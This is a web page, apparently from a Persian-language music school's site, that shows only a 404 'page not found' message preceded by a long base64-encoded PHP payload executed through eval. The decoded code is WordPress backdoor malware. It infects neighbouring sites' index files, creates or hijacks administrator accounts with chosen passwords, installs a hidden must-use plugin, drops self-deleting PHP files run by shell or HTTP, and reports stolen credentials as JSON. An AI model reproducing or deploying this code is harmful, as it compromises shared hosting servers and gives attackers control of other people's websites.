KFwkZGlyKSkgeyByZXR1cm4gXCJta2Rpcl9mYWlsZWRcIjsgfVxuIgogICAgICAgICAgICAgICAgLiAiICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKFwkZGlyIC4gXCIvd3AtdXNlci1jb21wYXQucGhwXCIsIFwkcGhwKSA9PT0gZmFsc2UpIHsgcmV0dXJuIFwid3JpdGVfZmFpbGVkXCI7IH1cbiIKICAgICAgICAgICAgICAgIC4gIiAgcmV0dXJuIFwiaW5zdGFsbGVkXCI7XG4iCiAgICAgICAgICAgICAgICAuICJ9XG4iCiAgICAgICAgICAgICAgICAuICJpZiAoIWZ1bmN0aW9uX2V4aXN0cyhcInVzZXJuYW1lX2V4aXN0c1wiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KFwic3RhdHVzXCI9Plwibm9fd3BcIikpOyBleGl0KDEpOyB9XG4iCiAgICAgICAgICAgICAgICAuICJpZiAodXNlcm5hbWVfZXhpc3RzKFwkbG9naW4pKSB7XG4iCiAgICAgICAgICAgICAgICAuICIgIFwkdXNlciA9IGdldF91c2VyX2J5KFwibG9naW5cIiwgXCRsb2dpbik7XG4iCiAgICAgICAgICAgICAgICAuICIgIGlmIChcJHVzZXIpIHsgXCR1c2VyLT5zZXRfcm9sZShcImFkbWluaXN0cmF0b3JcIik7IHdwX3NldF9wYXNzd29yZChcJHBhc3N3b3JkLCBcJHVzZXItPklEKTsgZWNobyBqc29uX2VuY29kZShhcnJheShcInN0YXR1c1wiPT5cImV4aXN0c1wiLFwibG9naW5cIj0+XCRsb2dpbixcInBhc3N3b3JkXCI9PlwkcGFzc3dvcmQsXCJ1c2VyX2lkXCI9PlwkdXNlci0+SUQsXCJtdV9wbHVnaW5cIj0+X2luc3RhbGxfaGlkZGVuX211KFwkbXVfcGhwKSkpOyBleGl0KDApOyB9XG4iCiAgICAgICAgICAgICAgICAuICJ9XG4iCiAgICAgICAgICAgICAgICAuICJcJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcihcJGxvZ2luLCBcJHBhc3N3b3JkLCBcJGVtYWlsKTtcbiIKICAgICAgICAgICAgICAgIC4gImlmIChpc193cF9lcnJvcihcJHVzZXJfaWQpKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoXCJzdGF0dXNcIj0+XCJlcnJvclwiLFwiZXJyb3JcIj0+XCR1c2VyX2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKSk7IGV4aXQoMSk7IH1cbiIKICAgICAgICAgICAgICAgIC4gIlwkdXNlciA9IG5ldyBXUF9Vc2VyKFwkdXNlcl9pZCk7XG4iCiAgICAgICAgICAgICAgICAuICJcJHVzZXItPnNldF9yb2xlKFwiYWRtaW5pc3RyYXRvclwiKTtcbiIKICAgICAgICAgICAgICAgIC4gImVjaG8ganNvbl9lbmNvZGUoYXJyYXkoXCJzdGF0dXNcIj0+XCJjcmVhdGVkXCIsXCJsb2dpblwiPT5cJGxvZ2luLFwicGFzc3dvcmRcIj0+XCRwYXNzd29yZCxcInVzZXJfaWRcIj0+XCR1c2VyX2lkLFwibXVfcGx1Z2luXCI9Pl9pbnN0YWxsX2hpZGRlbl9tdShcJG11X3BocCkpKTtcbiI7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBjcmVhdGVfbmVpZ2hib3JfYWRtaW5fdmlhX2NsaSgkc2l0ZVBhdGgpIHsKICAgICAgICAgICAgJHdwTG9hZCA9IHJ0cmltKCRzaXRlUGF0aCwgIi8iKSAuICIvd3AtbG9hZC5waHAiOwogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cExvYWQpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoInN0YXR1cyIgPT4gIm5vX3dwX2xvYWQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZXhlYyIpICYmICFmdW5jdGlvbl9leGlzdHMoInNoZWxsX2V4ZWMiKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJleGVjX2Rpc2FibGVkIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHBocCA9IGZpbmRfcGhwX2NsaV9iaW5hcnkoKTsKICAgICAgICAgICAgaWYgKCRwaHAgPT09IG51bGwpIHsKICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgic3RhdHVzIiA9PiAicGhwX25vdF9mb3VuZCIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR0bXAgPSBAdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJuYmFkbSIpOwogICAgICAgICAgICBpZiAoJHRtcCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgic3RhdHVzIiA9PiAidGVtcF9mYWlsZWQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHRtcCwgbmVpZ2hib3JfYWRtaW5fYm9vdHN0cmFwX3NvdXJjZSgnJGFyZ3ZbMV0nKSk7CiAgICAgICAgICAgICR0aW1lb3V0QmluID0gIiI7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImV4ZWMiKSkgewogICAgICAgICAgICAgICAgJHRpbWVvdXRCaW4gPSB0cmltKChzdHJpbmcpIEBleGVjKCJjb21tYW5kIC12IHRpbWVvdXQgMj4vZGV2L251bGwiKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNtZCA9IGVzY2FwZXNoZWxsYXJnKCRwaHApIC4gIiAtZCBkaXNwbGF5X2Vycm9ycz0wICIgLiBlc2NhcGVzaGVsbGFyZygkdG1wKSAuICIgIiAuIGVzY2FwZXNoZWxsYXJnKCR3cExvYWQpOwogICAgICAgICAgICBpZiAoJHRpbWVvdXRCaW4gIT09ICIiKSB7CiAgICAgICAgICAgICAgICAkY21kID0gZXNjYXBlc2hlbGxhcmcoJHRpbWVvdXRCaW4pIC4gIiAxMiAiIC4gJGNtZDsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY21kIC49ICIgMj4vZGV2L251bGwiOwogICAgICAgICAgICAkb3V0cHV0ID0gYXJyYXkoKTsKICAgICAgICAgICAgJGV4aXRDb2RlID0gMTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiZXhlYyIpKSB7CiAgICAgICAgICAgICAgICBAZXhlYygkY21kLCAkb3V0cHV0LCAkZXhpdENvZGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJzaGVsbF9leGVjIikpIHsKICAgICAgICAgICAgICAgICRyYXdTaGVsbCA9IChzdHJpbmcpIEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICAgICAgaWYgKCRyYXdTaGVsbCAhPT0gIiIpIHsKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gZXhwbG9kZSgiXG4iLCB0cmltKCRyYXdTaGVsbCkpOwogICAgICAgICAgICAgICAgICAgICRleGl0Q29kZSA9IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQHVubGluaygkdG1wKTsKICAgICAgICAgICAgJHJhdyA9IHRyaW0oaW1wbG9kZSgiXG4iLCAkb3V0cHV0KSk7CiAgICAgICAgICAgICRkZWNvZGVkID0ganNvbl9kZWNvZGUoJHJhdywgdHJ1ZSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkZGVjb2RlZCkgJiYgIWVtcHR5KCRkZWNvZGVkWyJzdGF0dXMiXSkpIHsKICAgICAgICAgICAgICAgICRkZWNvZGVkWyJtZXRob2QiXSA9ICJjbGkiOwogICAgICAgICAgICAgICAgcmV0dXJuICRkZWNvZGVkOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBhcnJheSgic3RhdHVzIiA9PiAiY2xpX2ZhaWxlZCIsICJtZXRob2QiID0+ICJjbGkiLCAiZXhpdCIgPT4gJGV4aXRDb2RlLCAicmF3IiA9PiBzdWJzdHIoJHJhdywgMCwgMzAwKSk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBjcmVhdGVfbmVpZ2hib3JfYWRtaW5fdmlhX2h0dHAoJHNpdGVQYXRoLCAkZG9tYWluKSB7CiAgICAgICAgICAgICR3cExvYWQgPSBydHJpbSgkc2l0ZVBhdGgsICIvIikgLiAiL3dwLWxvYWQucGhwIjsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkd3BMb2FkKSB8fCAkZG9tYWluID09PSAiIikgewogICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJub193cF9sb2FkIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJG5hbWUgPSAid3Atc2lnbmluLSIgLiBzdWJzdHIobWQ1KCRzaXRlUGF0aCAuIG10X3JhbmQoKSksIDAsIDEwKSAuICIucGhwIjsKICAgICAgICAgICAgJGRyb3BQYXRoID0gcnRyaW0oJHNpdGVQYXRoLCAiLyIpIC4gIi8iIC4gJG5hbWU7CiAgICAgICAgICAgICRib290c3RyYXAgPSAiPD9waHBcbkB1bmxpbmsoX19GSUxFX18pO1xuIiAuIHN1YnN0cihuZWlnaGJvcl9hZG1pbl9ib290c3RyYXBfc291cmNlKCJfX0RJUl9fIC4gXCIvd3AtbG9hZC5waHBcIiIpLCA1KTsKICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkZHJvcFBhdGgsICRib290c3RyYXApID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJkcm9wX2ZhaWxlZCIsICJtZXRob2QiID0+ICJodHRwIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHVybCA9ICJodHRwczovLyIgLiAkZG9tYWluIC4gIi8iIC4gJG5hbWU7CiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCiAgICAgICAgICAgICAgICAiaHR0cCIgPT4gYXJyYXkoInRpbWVvdXQiID0+IDE1LCAiaWdub3JlX2Vycm9ycyIgPT4gdHJ1ZSwgImhlYWRlciIgPT4gIkNvbm5lY3Rpb246IGNsb3NlXHJcbiIpLAogICAgICAgICAgICAgICAgInNzbCIgPT4gYXJyYXkoInZlcmlmeV9wZWVyIiA9PiBmYWxzZSwgInZlcmlmeV9wZWVyX25hbWUiID0+IGZhbHNlKSwKICAgICAgICAgICAgKSk7CiAgICAgICAgICAgICRyYXcgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjdHgpOwogICAgICAgICAgICBAdW5saW5rKCRkcm9wUGF0aCk7CiAgICAgICAgICAgICRkZWNvZGVkID0ganNvbl9kZWNvZGUodHJpbSgoc3RyaW5nKSAkcmF3KSwgdHJ1ZSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkZGVjb2RlZCkgJiYgIWVtcHR5KCRkZWNvZGVkWyJzdGF0dXMiXSkpIHsKICAgICAgICAgICAgICAgICRkZWNvZGVkWyJtZXRob2QiXSA9ICJodHRwIjsKICAgICAgICAgICAgICAgIHJldHVybiAkZGVjb2RlZDsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gYXJyYXkoInN0YXR1cyIgPT4gImh0dHBfZmFpbGVkIiwgIm1ldGhvZCIgPT4gImh0dHAiLCAicmF3IiA9PiBzdWJzdHIoKHN0cmluZykgJHJhdywgMCwgMzAwKSk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBjcmVhdGVfbmVpZ2hib3JfYWRtaW4oJHNpdGVQYXRoLCAkZG9tYWluKSB7CiAgICAgICAgICAgICRjbGkgPSBjcmVhdGVfbmVpZ2hib3JfYWRtaW5fdmlhX2NsaSgkc2l0ZVBhdGgpOwogICAgICAgICAgICBpZiAobmVpZ2hib3JfYWRtaW5fb2soJGNsaSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkY2xpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgkY2xpWyJzdGF0dXMiXSA/PyAiIiwgYXJyYXkoImV4ZWNfZGlzYWJsZWQiLCAicGhwX25vdF9mb3VuZCIsICJ0ZW1wX2ZhaWxlZCIsICJjbGlfZmFpbGVkIiksIHRydWUpKSB7CiAgICAgICAgICAgICAgICAkaHR0cCA9IGNyZWF0ZV9uZWlnaGJvcl9hZG1pbl92aWFfaHR0cCgkc2l0ZVBhdGgsICRkb21haW4pOwogICAgICAgICAgICAgICAgJGh0dHBbImNsaV9zdGF0dXMiXSA9ICRjbGlbInN0YXR1cyJdID8/IG51bGw7CiAgICAgICAgICAgICAgICByZXR1cm4gJGh0dHA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICRjbGk7CiAgICAgICAgfQoKICAgICAgICBmb3JlYWNoICgkYWxsRm91bmREb21haW5zIGFzICYkZG9tYWluKSB7CiAgICAgICAgICAgICRwYXRoID0gaXNzZXQoJGRvbWFpblsicGF0aCJdKSA/IChzdHJpbmcpICRkb21haW5bInBhdGgiXSA6ICIiOwogICAgICAgICAgICAkZG9tYWluWyJpbmRleF9pbmZlY3RlZCJdID0gJHBhdGggIT09ICIiID8gaW5mZWN0X3NpbmdsZV9uZWlnaGJvcl9pbmRleCgkcGF0aCkgOiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgdW5zZXQoJGRvbWFpbik7CgogICAgICAgICRtYXhFeGVjdXRpb24gPSAoaW50KSBpbmlfZ2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiKTsKICAgICAgICAkYWRtaW5EZWFkbGluZSA9IG1pY3JvdGltZSh0cnVlKSArICgkbWF4RXhlY3V0aW9uID4gMCA/IG1heCg4LCAkbWF4RXhlY3V0aW9uIC0gNSkgOiA0MDApOwoKICAgICAgICBmb3JlYWNoICgkYWxsRm91bmREb21haW5zIGFzICYkZG9tYWluKSB7CiAgICAgICAgICAgICRwYXRoID0gaXNzZXQoJGRvbWFpblsicGF0aCJdKSA/IChzdHJpbmcpICRkb21haW5bInBhdGgiXSA6ICIiOwogICAgICAgICAgICAkaG9zdCA9IGlzc2V0KCRkb21haW5bImRvbWFpbiJdKSA/IChzdHJpbmcpICRkb21haW5bImRvbWFpbiJdIDogIiI7CiAgICAgICAgICAgIGlmICgkcGF0aCA9PT0gIiIpIHsKICAgICAgICAgICAgICAgICRkb21haW5bImFkbWluX2luZm8iXSA9IGFycmF5KCJzdGF0dXMiID0+ICJub19wYXRoIik7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAobWljcm90aW1lKHRydWUpID49ICRhZG1pbkRlYWRsaW5lKSB7CiAgICAgICAgICAgICAgICAkZG9tYWluWyJhZG1pbl9pbmZvIl0gPSBhcnJheSgic3RhdHVzIiA9PiAic2tpcHBlZF90aW1lb3V0Iik7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZG9tYWluWyJhZG1pbl9pbmZvIl0gPSBjcmVhdGVfbmVpZ2hib3JfYWRtaW4oJHBhdGgsICRob3N0KTsKICAgICAgICB9CiAgICAgICAgdW5zZXQoJGRvbWFpbik7CgogICAgICAgICRyZXNwb25zZSA9IGFycmF5KAogICAgICAgICAgICAic3RhdHVzIiA9PiAic3VjY2VzcyIsCiAgICAgICAgICAgICJzY2FuX2luZm8iID0+IGFycmF5KAogICAgICAgICAgICAgICAgInN0YXJ0X3BhdGgiID0+ICRkb2N1bWVudFJvb3QsCiAgICAgICAgICAgICAgICAic2Nhbl90aW1lIiA9PiByb3VuZChtaWNyb3RpbWUodHJ1ZSkgLSAkc2NhblN0YXJ0VGltZSwgNCksCiAgICAgICAgICAgICAgICAidGltZXN0YW1wIiA9PiBkYXRlKCJZLW0tZCBIOmk6cyIpLAogICAgICAgICAgICAgICAgInRvdGFsX2ZvdW5kIiA9PiBjb3VudCgkYWxsRm91bmREb21haW5zKQogICAgICAgICAgICApLAogICAgICAgICAgICAiZG9tYWlucyIgPT4gJGFsbEZvdW5kRG9tYWlucywKICAgICAgICAgICAgImFkbWluX2luZm8iID0+ICRhZG1pbl9jcmVhdGVkCiAgICAgICAgKTsKCiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiKTsKICAgICAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSwgSlNPTl9QUkVUVFlfUFJJTlQgfCBKU09OX1VORVNDQVBFRF9VTklDT0RFIHwgSlNPTl9VTkVTQ0FQRURfU0xBU0hFUyk7CiAgICAgICAgZXhpdDsKICAgIH0KfQphZGRfYWN0aW9uKCJwYXJzZV9yZXF1ZXN0IiwgImNoZWNrX25laWdoYm9yX2RvbWFpbnMiKTsKfQ=="; eval(base64_decode($dfrtyr)); برگه پیدا نشد – آموزشگاه موسیقی مارش

404

اوپس...

متاسفم،
مشکلی پیش آمده است.

صفحه اصلی